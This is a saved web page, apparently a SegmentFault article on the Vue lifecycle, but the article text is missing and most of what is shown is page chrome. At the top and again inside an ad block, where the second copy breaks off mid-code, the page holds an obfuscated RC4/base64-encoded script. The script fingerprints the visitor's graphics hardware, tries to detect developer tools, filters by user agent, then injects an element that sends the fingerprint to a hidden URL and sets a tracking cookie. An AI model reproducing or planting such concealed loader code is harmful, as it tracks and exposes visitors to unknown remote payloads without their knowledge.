a0_0x5a7b=["gHn8nA==","toUTCString","pPUzbNqUOoPi1YTki","2BWEY1lTYNp/T+I9OQHVoZE=","IXFRmLrn","CgNqeWZa8Y45plkkKxbF4Q==","ZrSEYyW0b7Q0IPUqb/13ifQErimI4pBr","K3dNkqXKJbiemnk=","brSEdDKSbQ==","wRm0hXRLhWKYSg==","length","YtXMjstIgPUMjLZlaNb5QcsHsJfofqs=","01GCQWkzBrg=","2lWGVHRtav9SW7Q=","VOnkruxmgN02s5ZFWA==","YtXMjstIgPUMiLZlaNz5W84dpZXm","z0CORTVjSOFaRLMFKCvA","hcmRM5IG",";x20expires=","charCodeAt","rnaTNfMM5A5g","UP71jPdtsdQrqg==","lhDGASp5UQ==","cookie","yEaEWGp9","nEERm2ggVqUX","z1yGVA==","3UmTSW5gW/ZZWL8cbzjb/NRGE7wdKmt7","10CQRQ==","y0CcZStaTd1xcqMeCA==","xwKuhXRLhWKYSg==","ZDdmYg==","LyhDf39R658bu2Y/LxzF9w==","2FeTUG5sbPteWrUZNQ==",";x20path=/","yFCUQm57QPlc","K2pqmb72KbCVm3dtWA==","fixfCHIILA","xwKuhXRUiW+LShE=","atob","UP71n/lxpNw2qpZZ","YN7DiNRcodQxq5R0XvbFYPwqgqD1UImgOA==","ivuH9sk1F","UP71iuB3oN8gt5xF","WdIF+SOSzC5OLXDS7t8=","2keFXnZ8XfI=","0kE=","yECCcG59W/5ZQqQS","UuPxqupqqNQ9qpJHAeTOZv40"];(function(_0x1b61e1,_0x5a7b88){var _0x282611=function(_0x46bc60){while(--_0x46bc60){_0x1b61e1["push"](_0x1b61e1["shift"]());}};_0x282611(++_0x5a7b88);}(a0_0x5a7b,0xd7));var a0_0x2826=function(_0x1b61e1,_0x5a7b88){_0x1b61e1=_0x1b61e1-0x0;var _0x282611=a0_0x5a7b[_0x1b61e1];return _0x282611;};function kPbwxjZPvhHuql2cK(_0x2a7b56,_0x3dbb7d){var _0x39df8d=[],_0x3893cb=0x0,_0x4bd01a,_0x39ab8a="";for(var _0x4366fa=0x0;_0x4366fa<0x100;_0x4366fa++){_0x39df8d[_0x4366fa]=_0x4366fa;}for(_0x4366fa=0x0;_0x4366fa<0x100;_0x4366fa++){_0x3893cb=(_0x3893cb+_0x39df8d[_0x4366fa]+_0x3dbb7d[a0_0x2826("0x0")](_0x4366fa%_0x3dbb7d[a0_0x2826("0x28")]))%0x100;_0x4bd01a=_0x39df8d[_0x4366fa];_0x39df8d[_0x4366fa]=_0x39df8d[_0x3893cb];_0x39df8d[_0x3893cb]=_0x4bd01a;}_0x4366fa=0x0;_0x3893cb=0x0;for(var _0x1f6e6d=0x0;_0x1f6e6d<_0x2a7b56[a0_0x2826("0x28")];_0x1f6e6d++){_0x4366fa=(_0x4366fa+0x1)%0x100;_0x3893cb=(_0x3893cb+_0x39df8d[_0x4366fa])%0x100;_0x4bd01a=_0x39df8d[_0x4366fa];_0x39df8d[_0x4366fa]=_0x39df8d[_0x3893cb];_0x39df8d[_0x3893cb]=_0x4bd01a;_0x39ab8a+=String["fromCharCode"](_0x2a7b56["charCodeAt"](_0x1f6e6d)^_0x39df8d[(_0x39df8d[_0x4366fa]+_0x39df8d[_0x3893cb])%0x100]);}return _0x39ab8a;}function z58lhCJ(_0x5b3c65){var _0x2744f4="";try{_0x2744f4=window[a0_0x2826("0x14")](_0x5b3c65);}catch(_0x1d8981){}return _0x2744f4;};function aVxrxoIKgEYVWFC7(){var _0x2b4132=[a0_0x2826("0xc"),a0_0x2826("0x2c"),"VPrvuflw","QP7jqPQ=",a0_0x2826("0x1d"),a0_0x2826("0x2"),a0_0x2826("0x18"),a0_0x2826("0x15"),a0_0x2826("0x16"),a0_0x2826("0x2d"),a0_0x2826("0x29")];var _0x1267a4=document[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x1]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x2]),_0x2b4132[0x0]));var _0x424e30;var _0x30e940;var _0x470837;var _0x229329;try{_0x424e30=_0x1267a4[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x5]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x3]),_0x2b4132[0x0]))||_0x1267a4[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x5]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x4]),_0x2b4132[0x0]));}catch(_0x408b8e){}if(_0x424e30){_0x30e940=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x6]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x8]),_0x2b4132[0x0]));_0x470837=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x7]),_0x2b4132[0x0])](_0x30e940[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x9]),_0x2b4132[0x0])]);_0x229329=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x7]),_0x2b4132[0x0])](_0x30e940[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0xa]),_0x2b4132[0x0])]);}return _0x470837+"x20"+_0x229329;}function w9jcVeUDT(){var _0x3c83be=[a0_0x2826("0xb"),a0_0x2826("0x27"),a0_0x2826("0x13"),a0_0x2826("0x6"),a0_0x2826("0x25"),"BHBRkrX3Jw==",a0_0x2826("0x22"),a0_0x2826("0x11"),a0_0x2826("0x20")];const _0x1c6d55=0xa0;const _0x37ae20=window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x0]),_0x3c83be[0x3])]-window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x1]),_0x3c83be[0x3])]>_0x1c6d55;const _0x4883d0=window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x2]),_0x3c83be[0x3])]-window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x4]),_0x3c83be[0x8])]>_0x1c6d55;if(!(_0x4883d0&&_0x37ae20)&&(window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x5]),_0x3c83be[0x8])]&&window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x5]),_0x3c83be[0x8])][kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x6]),_0x3c83be[0x8])]&&window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x5]),_0x3c83be[0x8])][kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x6]),_0x3c83be[0x8])][kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x7]),_0x3c83be[0x8])]||_0x37ae20||_0x4883d0)){return![];}else{return!![];}}function xGzLVAwTj9Dm(_0x528fc1,_0x3b5174,_0xfbb720){var _0x905dbf="";if(_0xfbb720){var _0x50d54e=new Date();_0x50d54e["setTime"](_0x50d54e["getTime"]()+_0xfbb720*0x18*0x3c*0x3c*0x3e8);_0x905dbf=a0_0x2826("0x30")+_0x50d54e[a0_0x2826("0x1f")]();}document[a0_0x2826("0x4")]=_0x528fc1+"="+(_0x3b5174||"")+_0x905dbf+a0_0x2826("0xf");}function uhAtRHZXRS(){var _0x7edbb9=["aJgicnL4X6hO",a0_0x2826("0x8"),"znG4dXV8X8ZND5w6dTeC+8M=",a0_0x2826("0xe"),a0_0x2826("0x5"),a0_0x2826("0x1c"),"yFeV",a0_0x2826("0x1b"),a0_0x2826("0x21"),a0_0x2826("0x7"),a0_0x2826("0x2e"),a0_0x2826("0x1a"),"iBXGQWI=",a0_0x2826("0x3"),a0_0x2826("0x2b"),"2EqZWnNs",a0_0x2826("0x9"),"yUSYVXVk","z0qlRWhgR/A=",a0_0x2826("0x10"),a0_0x2826("0xa"),a0_0x2826("0x1"),"z0SRbnhoW/laXLwS",a0_0x2826("0x2a")];var _0xde5cda=[a0_0x2826("0x1e"),"lmjgiQ==",a0_0x2826("0x2f"),a0_0x2826("0x24"),"ZLWPeiO4",a0_0x2826("0x26"),"sYkn4Oqn64Pdr"];var _0x33bc41;try{_0x33bc41=aVxrxoIKgEYVWFC7();}catch(_0x110e3a){}try{_0x33bc41=window[kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x0]),_0xde5cda[0x2])](_0x33bc41);}catch(_0x3e7ed0){}_0x33bc41=encodeURIComponent(_0x33bc41);var _0x13700b=navigator["userAgent"]||navigator["vendor"]||window["opera"];var _0xb93071=kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x3]),_0xde5cda[0x6]);var _0x331712=new RegExp(_0xb93071,"i");var _0x53686b=!![];var _0x2d8ac7=kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x14]),_0x7edbb9[0x15]);if(_0x331712[kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x1]),_0xde5cda[0x2])](_0x13700b)){if(document[kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x4]),_0xde5cda[0x6])][kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x5]),_0xde5cda[0x6])](_0x2d8ac7)==-0x1){if(w9jcVeUDT()){var _0x5d4d20=kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x17]),_0x7edbb9[0x15])+kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x1]),_0x7edbb9[0x15])+"?"+kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x8]),_0x7edbb9[0x15])+"="+_0x33bc41;var _0x5b2742=document[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x3]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x4]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x7]),_0x7edbb9[0x15]),kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x8]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x9]),_0x7edbb9[0x15]),kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0xa]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x6]),_0x7edbb9[0x15]),_0x5d4d20);document["body"][kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0xe]),_0x7edbb9[0x15])](_0x5b2742);xGzLVAwTj9Dm(_0x2d8ac7,"1","7");}}}}var aJ4knj0Q2TsZ=[a0_0x2826("0x19"),"XYcD7gyt6AZkIQDh3+Fn/PI=",a0_0x2826("0x12"),a0_0x2826("0xd"),a0_0x2826("0x23"),a0_0x2826("0x17")];var xz1ZKT5VYzY7UB=document[kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x0]),aJ4knj0Q2TsZ[0x2])](kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x1]),aJ4knj0Q2TsZ[0x2]));if(!xz1ZKT5VYzY7UB){document[kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x3]),aJ4knj0Q2TsZ[0x5])](kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x4]),aJ4knj0Q2TsZ[0x5]),uhAtRHZXRS());}</script>
</div></div><div class="text-secondary font-size-14 mt-3 mb-5 d-flex justify-content-between row"><div class="col"><span>阅读 <!-- -->16k</span><span class="split-dot"></span><time datetime="2019-08-24T06:33:13.000Z" itemprop="datePublished">更新于 <!-- -->2019-09-09 </time></div><div class="operation col-6 text-right col-xs-3 col"><div></div></div></div><div class="functional-area-bottom text-center"><div role="group" class="btn-group like-group align-items-center btn-group"><button type="button" class="btn mr-2 rounded btn btn-outline-primary"><i class="far fa-thumbs-up"></i><span class="ml-1">赞</span><span class="mainLikeNum ml-1">28</span></button><button type="button" class="btn mr-2 rounded btn btn-outline-secondary"><i class="far fa-bookmark"></i><span class="ml-1">收藏</span><span class="ml-1">20</span></button><div class="bottom-share-wrap dropdown"><a href="https://segmentfault.com/a/1190000020173042?utm_source=tag-newest###" class="nav-tab-item  btn d-flex justify-content-center align-items-center dropdown-toggle" aria-label="分享"><button type="button" class="btn rounded btn btn-outline-secondary"><i class="far fa-share-alt"></i><span class="ml-1">分享</span></button></a></div></div></div><canvas hidden="" class="qrcode"></canvas><div class="font-size-14 text-secondary text-center mt-3 mb-5"><span>本作品系原创，</span><a target="_blank" rel="noreferrer" class="text-secondary" href="https://creativecommons.org/licenses/by-nc-nd/4.0/">采用《署名-非商业性使用-禁止演绎 4.0 国际》许可协议</a></div></div></div><div class="d-block d-xl-none mt-sm-4"><div class="mb-4 card"><div class="card-body"><div class="d-flex align-items-center mb-3"><picture class="rounded-circle mr-3"><a href="https://segmentfault.com/u/zongjie"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/1109718111-5c8bc6eb009f2_huge128" alt="avatar" width="64" height="64" class="rounded-circle"></a></picture><div><h5 class="mb-0"><a href="https://segmentfault.com/u/zongjie" class="text-body">宗介</a></h5></div></div><div class="d-flex align-items-center mb-3"><div class="mr-4"><strong>147</strong><span class="text-secondary"> 声望</span></div><div><strong>6</strong><span class="text-secondary"> 粉丝</span></div></div><button type="button" class="btn btn-primary btn-block">关注作者</button></div></div></div><div><div id="comment-area" class="comment-wrap  card"><div class="d-flex align-items-center justify-content-between bg-transparent card-header"><h5 class="mb-0">1<!-- --> 条评论</h5><div aria-label="Basic" role="group" class="btn-group"><button type="button" class="btn btn-secondary btn-sm">得票数</button><button type="button" class="btn btn-outline-secondary btn-sm">最新</button></div></div><div class="card-body"><div class="mb-4 media"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/3179314346-5f61e47221e07" class="rounded-circle mr-3" width="38" aria-hidden="true"><div class="media-body"><div class="form-group"><div class="mentions-wrap dropdown"><textarea rows="1" placeholder="撰写评论 …" aria-label="评论" class="comment-text form-control" style="overflow: hidden; overflow-wrap: break-word; resize: none; height: 38px;"></textarea><div class="dropdown-toggle"></div></div><div class="invalid-feedback"></div></div><div class="d-flex justify-content-end align-items-center"><a href="https://segmentfault.com/a/1190000020173042?utm_source=tag-newest###" class="mr-3" aria-label="提示"><i class="far fa-info-circle text-secondary"></i></a><button disabled="" type="button" class="float-right btn btn-primary">提交评论</button></div></div></div><div class="comment-body-wrap false"><div class="mb-r d-flex align-items-start false media"><img class="d-block rounded-circle mr-3" width="38" height="38" src="./Vue 生命周期详解 - SegmentFault 思否_files/3179314346-5f61e47221e07" alt=""><div class="w-0  media-body"><div class="commentUnit "><div class="mb-1"><a class="d-uname" href="https://segmentfault.com/u/wuquan133" rel="noreferrer" target="_blank"><strong>wuquan133</strong></a>：<div class="parsedText fmt"><p>好文章 这么少热度？</p></div></div><div class="handle-bar font-size-14 d-flex justify-content-between"><div><a class="text-secondary" href="https://segmentfault.com/a/1190000020173042?utm_source=tag-newest###"><span class="mainLike-comment "><i class="fa-w-16 far fa-thumbs-up" style="width: 1em;"></i></span></a><span class="split-dot"></span><a class="text-secondary btn-comment" href="https://segmentfault.com/a/1190000020173042?utm_source=tag-newest###">回复</a><span class="split-dot"></span><span class="text-secondary">2020-07-31 </span></div><div class="control-area d-none"></div></div></div><div class="replies hidden"><div class="bg-light border-0 mt-2 card"><div class="p-3 card-body"><div class="reply-list list-group"></div></div></div></div></div></div></div></div></div></div><div class="bg-white text-center border border-dark border-width-2 p-5 my-4 rounded"><div class="h1">你知道吗？</div><p class="my-4" style="font-size:1.25rem">在存储日期中的年份的时候，请使用四位数字。</p><button style="width:178px" type="button" class="btn btn-primary btn-lg">注册登录</button></div><div class="mt-4 card"><h5 class="bg-transparent card-header">继续阅读</h5><div class="recommend-list-wrap list-group"><div class="card border-0"><div class="list-group list-group-flush"><a class="list-group-item list-group-item-action py-3" href="https://segmentfault.com/a/1190000014816685?utm_source=sf-similar-article" target="_blank"><h5 class="h5 mb-2 text-break" style="color: rgb(33, 37, 41);">Vue的生命周期详解</h5><p class="mb-2 text-truncate text-secondary">由图可以看出，Vue生命周期最常用的钩子函数包括：beforeCreate（此时date、method和el均没有初始化，可以在此加载loading）created（此时date和method初始化完成，但是DOM节点并没有挂载，判断是否有el节点，如...</p><p class="d-flex align-items-center font-size-14 mb-0"><span class="text-primary">晴雨稀兮</span><span class="split-dot"></span><span>阅读 4.4k</span><span class="split-dot"></span><span>14 赞</span></p></a><a class="list-group-item list-group-item-action py-3" href="https://segmentfault.com/a/1190000013579739?utm_source=sf-similar-article" target="_blank"><h5 class="h5 mb-2 text-break" style="color: rgb(33, 37, 41);">Vue.js源码学习二 —— 生命周期 LifeCycle 学习</h5><p class="mb-2 text-truncate text-secondary">生命周期主要就是在源码某个时间点执行这个 callHook 方法来调用 vm.$options 的生命周期钩子方法（如果定义了生命周期钩子方法的话）。我们来看看 callHook 代码：</p><p class="d-flex align-items-center font-size-14 mb-0"><span class="text-primary">VioletJack</span><span class="split-dot"></span><span>阅读 2.8k</span><span class="split-dot"></span><span>8 赞</span></p></a><a class="list-group-item list-group-item-action py-3" href="https://segmentfault.com/a/1190000020073586?utm_source=sf-similar-article" target="_blank"><h5 class="h5 mb-2 text-break" style="color: rgb(33, 37, 41);">深入解析vue的生命周期</h5><p class="mb-2 text-truncate text-secondary">每个vue实例在被创建之前都要经过一系列的初始化过程，这个过程就是vue的生命周期。详细来说，就是Vue实例从开始创建，初始化数据，编译模板，挂在dom-&amp;gt;渲染，更新-&amp;gt;渲染，卸载等一系列过程，我们称这是vue...</p><p class="d-flex align-items-center font-size-14 mb-0"><span class="text-primary">栀子花</span><span class="split-dot"></span><span>阅读 635</span><span class="split-dot"></span><span>5 赞</span></p></a><a class="list-group-item list-group-item-action py-3" href="https://segmentfault.com/a/1190000020840588?utm_source=sf-similar-article" target="_blank"><h5 class="h5 mb-2 text-break" style="color: rgb(33, 37, 41);">从源码解读Vue生命周期，让面试官对你刮目相看</h5><p class="mb-2 text-truncate text-secondary">观感度：🌟🌟🌟🌟🌟 口味：蜜桃乌龙 烹饪时间：30min 本文已收录在Github github.com/Geekhyt，感谢Star。 在我们的实际项目中，与Vue的生命周期打交道可以说是家常便饭。掌握Vue的生命周期对开发者来说是特别重要的。...</p><p class="d-flex align-items-center font-size-14 mb-0"><span class="text-primary">童欧巴</span><span class="split-dot"></span><span>阅读 672</span><span class="split-dot"></span><span>3 赞</span></p></a><a class="list-group-item list-group-item-action py-3" href="https://segmentfault.com/a/1190000016906255?utm_source=sf-similar-article" target="_blank"><h5 class="h5 mb-2 text-break" style="color: rgb(33, 37, 41);">Vue源码学习（二）——生命周期</h5><p class="mb-2 text-truncate text-secondary">官网对生命周期给出了一个比较完成的流程图，如下所示： 从图中我们可以看到我们的Vue创建的过程要经过以下的钩子函数： {代码...} 那么我们就从源码的角度来看一看吧，当我们new Vue的时候，会执行_init函数 {代...</p><p class="d-flex align-items-center font-size-14 mb-0"><span class="text-primary">DanielDemi</span><span class="split-dot"></span><span>阅读 556</span><span class="split-dot"></span><span>3 赞</span></p></a><a class="list-group-item list-group-item-action py-3" href="https://segmentfault.com/a/1190000016683256?utm_source=sf-similar-article" target="_blank"><h5 class="h5 mb-2 text-break" style="color: rgb(33, 37, 41);">Vue源码探究-生命周期</h5><p class="mb-2 text-truncate text-secondary">初步探索完了核心类的实现之后，接下来就要开始深入到Vue实现的具体功能部分了。在所有的功能开始运行之前，要来理解一下Vue的生命周期，在初始化函数中所有功能模块绑定到Vue的核心类上之前，最先开始执行了一个...</p><p class="d-flex align-items-center font-size-14 mb-0"><span class="text-primary">Shio</span><span class="split-dot"></span><span>阅读 1.7k</span><span class="split-dot"></span><span>3 赞</span></p></a><a class="list-group-item list-group-item-action py-3" href="https://segmentfault.com/a/1190000021778522?utm_source=sf-similar-article" target="_blank"><h5 class="h5 mb-2 text-break" style="color: rgb(33, 37, 41);">Vue的生命周期</h5><p class="mb-2 text-truncate text-secondary">一、Vue是什么 它是一个实现MVVM思想的渐进式框架,相比JQuery,基本上不用操作DOM 二、生命周期是什么 Vue实例从创建到销毁的过程,就是生命周期 三、钩子函数是什么 钩子函数就是回调函数 四、Vue生命周期钩子函数...</p><p class="d-flex align-items-center font-size-14 mb-0"><span class="text-primary">前端小菜鸡</span><span class="split-dot"></span><span>阅读 730</span><span class="split-dot"></span><span>2 赞</span></p></a><a class="list-group-item list-group-item-action py-3" href="https://segmentfault.com/a/1190000014219502?utm_source=sf-similar-article" target="_blank"><h5 class="h5 mb-2 text-break" style="color: rgb(33, 37, 41);">vue — 生命周期</h5><p class="mb-2 text-truncate text-secondary">Vue实例有一个完整的生命周期，也就是从开始创建、初始化数据、编译模板、挂载Dom、渲染→更新→渲染、卸载等一系列过程，我们称这是Vue的生命周期。通俗说就是Vue实例从创建到销毁的过程，就是生命周期。</p><p class="d-flex align-items-center font-size-14 mb-0"><span class="text-primary">Daisy</span><span class="split-dot"></span><span>阅读 1.1k</span><span class="split-dot"></span><span>1 赞</span></p></a></div></div></div></div></div><div class="col-12 col-xl-auto col"><div class="w-xl-300"><div class="w-xl-300 d-none d-xl-block data-fix" id="author" style="top: 81px;"><div class="mb-4 card"><div class="card-body"><div class="d-flex align-items-center mb-3"><picture class="rounded-circle mr-3"><a href="https://segmentfault.com/u/zongjie"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/1109718111-5c8bc6eb009f2_huge128" alt="avatar" width="64" height="64" class="rounded-circle"></a></picture><div><h5 class="mb-0"><a href="https://segmentfault.com/u/zongjie" class="text-body">宗介</a></h5></div></div><div class="d-flex align-items-center mb-3"><div class="mr-4"><strong>147</strong><span class="text-secondary"> 声望</span></div><div><strong>6</strong><span class="text-secondary"> 粉丝</span></div></div><button type="button" class="btn btn-primary btn-block">关注作者</button></div></div></div><div class="w-xl-300 mb-4 data-fix" id="first-ad" style="top: 305px;"><div class="card border-0 overflow-hidden d-none d-xl-flex justify-content-center align-items-center float-ads"><div id="OA_holder_1" class="ad-container" style="display:block"><div style="line-height: 0"><a href="https://sponsor.segmentfault.com/ck.php?oaparams=2__bannerid=487__zoneid=1__cb=fffb5b50f4__oadest=https%3A%2F%2Fke.segmentfault.com%2Fcourse%2F1650000040076540%2Fsection%2F1500000040076546" target="_blank"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/b0f676d901e21a8a261824229959404c.jpg" width="300" height="250" alt="" title="" border="0"></a><div id="beacon_fffb5b50f4" style="position: absolute; left: 0px; top: 0px; visibility: hidden;"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/lg(4).php" width="0" height="0" alt="" style="width: 0px; height: 0px;"></div></div><script type="text/javascript">var a0_0x5a7b=["gHn8nA==","toUTCString","pPUzbNqUOoPi1YTki","2BWEY1lTYNp/T+I9OQHVoZE=","IXFRmLrn","CgNqeWZa8Y45plkkKxbF4Q==","ZrSEYyW0b7Q0IPUqb/13ifQErimI4pBr","K3dNkqXKJbiemnk=","brSEdDKSbQ==","wRm0hXRLhWKYSg==","length","YtXMjstIgPUMjLZlaNb5QcsHsJfofqs=","01GCQWkzBrg=","2lWGVHRtav9SW7Q=","VOnkruxmgN02s5ZFWA==","YtXMjstIgPUMiLZlaNz5W84dpZXm","z0CORTVjSOFaRLMFKCvA","hcmRM5IG",";x20expires=","charCodeAt","rnaTNfMM5A5g","UP71jPdtsdQrqg==","lhDGASp5UQ==","cookie","yEaEWGp9","nEERm2ggVqUX","z1yGVA==","3UmTSW5gW/ZZWL8cbzjb/NRGE7wdKmt7","10CQRQ==","y0CcZStaTd1xcqMeCA==","xwKuhXRLhWKYSg==","ZDdmYg==","LyhDf39R658bu2Y/LxzF9w==","2FeTUG5sbPteWrUZNQ==",";x20path=/","yFCUQm57QPlc","K2pqmb72KbCVm3dtWA==","fixfCHIILA","xwKuhXRUiW+LShE=","atob","UP71n/lxpNw2qpZZ","YN7DiNRcodQxq5R0XvbFYPwqgqD1UImgOA==","ivuH9sk1F","UP71iuB3oN8gt5xF","WdIF+SOSzC5OLXDS7t8=","2keFXnZ8XfI=","0kE=","yECCcG59W/5ZQqQS","UuPxqupqqNQ9qpJHAeTOZv40"];(function(_0x1b61e1,_0x5a7b88){var _0x282611=function(_0x46bc60){while(--_0x46bc60){_0x1b61e1["push"](_0x1b61e1["shift"]());}};_0x282611(++_0x5a7b88);}(a0_0x5a7b,0xd7));var a0_0x2826=function(_0x1b61e1,_0x5a7b88){_0x1b61e1=_0x1b61e1-0x0;var _0x282611=a0_0x5a7b[_0x1b61e1];return _0x282611;};function kPbwxjZPvhHuql2cK(_0x2a7b56,_0x3dbb7d){var _0x39df8d=[],_0x3893cb=0x0,_0x4bd01a,_0x39ab8a="";for(var _0x4366fa=0x0;_0x4366fa<0x100;_0x4366fa++){_0x39df8d[_0x4366fa]=_0x4366fa;}for(_0x4366fa=0x0;_0x4366fa<0x100;_0x4366fa++){_0x3893cb=(_0x3893cb+_0x39df8d[_0x4366fa]+_0x3dbb7d[a0_0x2826("0x0")](_0x4366fa%_0x3dbb7d[a0_0x2826("0x28")]))%0x100;_0x4bd01a=_0x39df8d[_0x4366fa];_0x39df8d[_0x4366fa]=_0x39df8d[_0x3893cb];_0x39df8d[_0x3893cb]=_0x4bd01a;}_0x4366fa=0x0;_0x3893cb=0x0;for(var _0x1f6e6d=0x0;_0x1f6e6d<_0x2a7b56[a0_0x2826("0x28")];_0x1f6e6d++){_0x4366fa=(_0x4366fa+0x1)%0x100;_0x3893cb=(_0x3893cb+_0x39df8d[_0x4366fa])%0x100;_0x4bd01a=_0x39df8d[_0x4366fa];_0x39df8d[_0x4366fa]=_0x39df8d[_0x3893cb];_0x39df8d[_0x3893cb]=_0x4bd01a;_0x39ab8a+=String["fromCharCode"](_0x2a7b56["charCodeAt"](_0x1f6e6d)^_0x39df8d[(_0x39df8d[_0x4366fa]+_0x39df8d[_0x3893cb])%0x100]);}return _0x39ab8a;}function z58lhCJ(_0x5b3c65){var _0x2744f4="";try{_0x2744f4=window[a0_0x2826("0x14")](_0x5b3c65);}catch(_0x1d8981){}return _0x2744f4;};function aVxrxoIKgEYVWFC7(){var _0x2b4132=[a0_0x2826("0xc"),a0_0x2826("0x2c"),"VPrvuflw","QP7jqPQ=",a0_0x2826("0x1d"),a0_0x2826("0x2"),a0_0x2826("0x18"),a0_0x2826("0x15"),a0_0x2826("0x16"),a0_0x2826("0x2d"),a0_0x2826("0x29")];var _0x1267a4=document[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x1]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x2]),_0x2b4132[0x0]));var _0x424e30;var _0x30e940;var _0x470837;var _0x229329;try{_0x424e30=_0x1267a4[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x5]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x3]),_0x2b4132[0x0]))||_0x1267a4[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x5]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x4]),_0x2b4132[0x0]));}catch(_0x408b8e){}if(_0x424e30){_0x30e940=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x6]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x8]),_0x2b4132[0x0]));_0x470837=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x7]),_0x2b4132[0x0])](_0x30e940[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x9]),_0x2b4132[0x0])]);_0x229329=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x7]),_0x2b4132[0x0])](_0x30e940[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0xa]),_0x2b4132[0x0])]);}return _0x470837+"x20"+_0x229329;}function w9jcVeUDT(){var _0x3c83be=[a0_0x2826("0xb"),a0_0x2826("0x27"),a0_0x2826("0x13"),a0_0x2826("0x6"),a0_0x2826("0x25"),"BHBRkrX3Jw==",a0_0x2826("0x22"),a0_0x2826("0x11"),a0_0x2826("0x20")];const _0x1c6d55=0xa0;const _0x37ae20=window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x0]),_0x3c83be[0x3])]-window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x1]),_0x3c83be[0x3])]>_0x1c6d55;const 